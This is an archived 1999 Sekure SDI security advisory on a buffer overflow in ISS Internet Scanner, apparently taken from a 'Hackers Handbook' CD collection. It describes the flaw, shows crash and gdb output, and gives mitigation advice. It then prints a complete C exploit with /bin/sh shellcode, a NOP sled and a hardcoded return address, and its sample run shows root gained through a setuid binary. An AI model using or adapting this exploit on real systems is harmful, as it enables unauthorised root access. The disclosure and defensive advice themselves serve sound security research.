home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / SDI_03-99_iss-scanner.txt < prev    next >
Encoding:
Text File  |  1999-04-11  |  5.7 KB  |  200 lines

  1.  
  2.  
  3.                       Sekure SDI
  4.                              http://www.sekure.org
  5.                           ---------------------------
  6.                        Brazilian Information Security Team
  7.  
  8.  
  9.                      -> Internet Scanner Buffer Overflow <-
  10.                              (SDI.03-99.iss-scanner)
  11.  
  12. ---
  13. complexity      : medium
  14. critical level  : medium
  15. ---
  16.  
  17.  1. Introduction 
  18.  
  19.    Internet Scanner (I.S) is a wide known tool to audit the security level
  20. of a certain network. It has a database which will assist in the detection of  
  21. the commom security holes that may help an intruder to gain access or
  22. gather private information from the scanned host.
  23.  
  24.    During the checks, I.S. will run a set of procedures that requires
  25. privileges in the local host (root), so an ordinary user may not start a
  26. scan. 
  27.  
  28.    Altough it's not the default configuration, it's commom, in certain
  29. cases, to set the suid bit to permit "root privileges" so the "audit" user, 
  30. who does not have the necessary privileges, may execute a scan.
  31.  
  32.    A certain problem was found in the IS program during some tests in
  33. our lab. While by default it will not represent a thread, in the above
  34. situation (suid bit owned by root), it will become a security gap.
  35.  
  36.  
  37.  2. I.S Flaw
  38.  
  39.    Internet Scan does not check bounds in some arguments it receives from
  40. the command line, which will cause a segmentation fault.
  41.  
  42.      sekure:~$ ./iss -D `perl -e "print 'A' x 2000"`
  43.      Creating Directory /usr/local/iss/scans/s.199903241212
  44.      # Time Stamp(2103): Signal - Segmentation Violation: (...)
  45.      (..)
  46.      ISS Scan was interrupted.
  47.      Segmentation fault
  48.  
  49.      sekure:~$ ./iss -c `perl -e "print 'A' x 2000"`
  50.      (...)
  51.      Segmentation fault
  52.  
  53.    Let's check the return address:
  54.  
  55.      (gdb) run -D `perl -e "print 'A' x 2000"`
  56.      Starting program: iss -D `perl -e "print 'A' x 2000"`
  57.      (...)
  58.      Program received signal SIGSEGV, Segmentation fault.
  59.      0x41414141 in ?? ()
  60.      (gdb)
  61.  
  62.    In this situation, we can reach the return address (which holds the
  63. place the program must return in the memory), so we may execute arbitrary
  64. commands, and adding the "suid bit" situation, it will be executed with root 
  65. privileges.
  66.  
  67.  
  68.   3. Who is vulnerable ?
  69.  
  70.   If you are running I.S using the SETUID bit to conceed root privileges
  71. to an ordinary user, then you ARE vulnerable to this attack.
  72.   
  73.   If you are using the DEFAULT configuration of I.S, you are NOT
  74. vulnerable.
  75.  
  76.  
  77.   4. Fixing the situation
  78.  
  79.   The ISS which is the owner of I.S does not provide the source code along
  80. with the program, so we may not provide a quick patch. 
  81.  
  82.   We advice you to remove the suid bit and contact the vendor for a
  83. correction.
  84.  
  85.   We also advice you to avoid the use of suid bit unless you are familiar
  86. with the purpose of the program.
  87.   
  88.   
  89.   5. Exploiting the bug
  90.  
  91.   We believe information must be free available. If we don't provide the
  92. exploit script along with the information, someone else will do. 
  93.  
  94.   We also know that people like to see with their own eyes to believe
  95. they are vulnerable. So here it is:
  96.  
  97. ------------- SDI-iss.c -----------------------------
  98. /* 
  99.  *  Sekure SDI - http://www.sekure.org  
  100.  *  Brazilian Information Security Team  
  101.  *  By c0nd0r <condor@sekure.org>
  102.  *
  103.  *  . ..Internet Scanner (ISS) Buffer Overflow.. .  
  104.  *  (read the original advisory at http://www.sekure.org/advisory.html)
  105.  *    
  106.  *  > This may not represent a thread if you are
  107.  *  > NOT using IS with setuid root
  108.  *
  109.  *  This code is only for educational purposes.
  110.  *  ------------------------------
  111.  *  Instructions: After the compilation, execute it to get 
  112.  *  a shell prompt with the $EGG in the environment.
  113.  *  tiazinha:~$ SDI-iss
  114.  *  bash$ ls -tarl iss
  115.  *  -rwsr-xr-x   1 root     daemon    1691180 Dec 10 15:22 iss*
  116.  *  bash$ ./iss -c $EGG   
  117.  *  
  118.  *  Creating Directory /usr/local/iss/scans/s.199903261158
  119.  *  id;
  120.  *  uid=666(condor) gid=100(deejay) euid=0(root) groups=12(mail)
  121.  *  -------------------------------
  122.  *  PS: the i/o descriptors are used by IS (stdin/stdout) as this is 
  123.  *  just an example, I'll not worry about. 
  124.  */
  125.  
  126. char shellcode[]=
  127.      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  128.     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  129.     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  130.  
  131. #define ISS_HOME "/usr/local/iss"
  132.  
  133. main ( int argc, char *argv[]) {
  134.   char buff[2048], env[250];
  135.   long addr;
  136.   int x, y, offset=0, src;
  137.  
  138.   if (argc > 1) offset = atoi(argv[1]);
  139.  
  140.   for ( x = 0; x < (238-strlen(shellcode)); x++) 
  141.     buff[x] = 0x90;
  142.  
  143.   for ( y = 0; y < strlen(shellcode); y++, x++)
  144.     buff[x] = shellcode[y];
  145.  
  146.   addr = (long) &src + offset;
  147.   printf ( "SDI I.S. Exploit Code\n");
  148.   printf ( "4 educational purpose only\n");
  149.   printf ( "Please, go to ISS directory and run:\n");
  150.   printf ( "./iss -c $EGG\n\n");
  151.  
  152.   /* the program mess with the stack so I prefer to set it 
  153.      by my own hands, no prob, just a little bit different */
  154.   
  155.   buff [x++] = 0x60; 
  156.   buff [x++] = 0xef; 
  157.   buff [x++] = 0xff; 
  158.   buff [x++] = 0xbf; 
  159.   /* it works fine in my slak3.5 box */
  160.  
  161.   buff[strlen(buff)] = '\0';
  162.  
  163.   snprintf ( env, sizeof(env), "ISS_HOME=%s", ISS_HOME); 
  164.   putenv ( env);
  165.   bzero ( &env, sizeof(env));
  166.  
  167.   snprintf ( env, sizeof(env), "EGG=%s", buff);
  168.   putenv ( env);
  169.   system ( "/bin/sh");
  170.  
  171. }
  172. --------------------- eof ------------------
  173.  
  174.   6. Contacts
  175.  
  176.   Sekure SDI
  177.   http://www.sekure.org
  178.   info@sekure.org
  179.  
  180.   This advisory has been written by SSC (Sekure SDI Secure Coding Group)
  181.   http://ssc.sekure.org
  182.   securecode@sekure.org
  183.  
  184.   Subscribe the Best of Security Brazil - mailing list
  185.   http://bos.sekure.org
  186.   bos-br-request@sekure.org
  187.   (the main language is portuguese but everybody is welcome)
  188.  
  189.  
  190. ----
  191. written by c0nd0r
  192. condor@sekure.org
  193.  
  194.  
  195. -condor
  196. www.sekure.org
  197.  s e k u r e  
  198.  
  199. pgp key available at: http://condor.sekure.org/condor.asc
  200.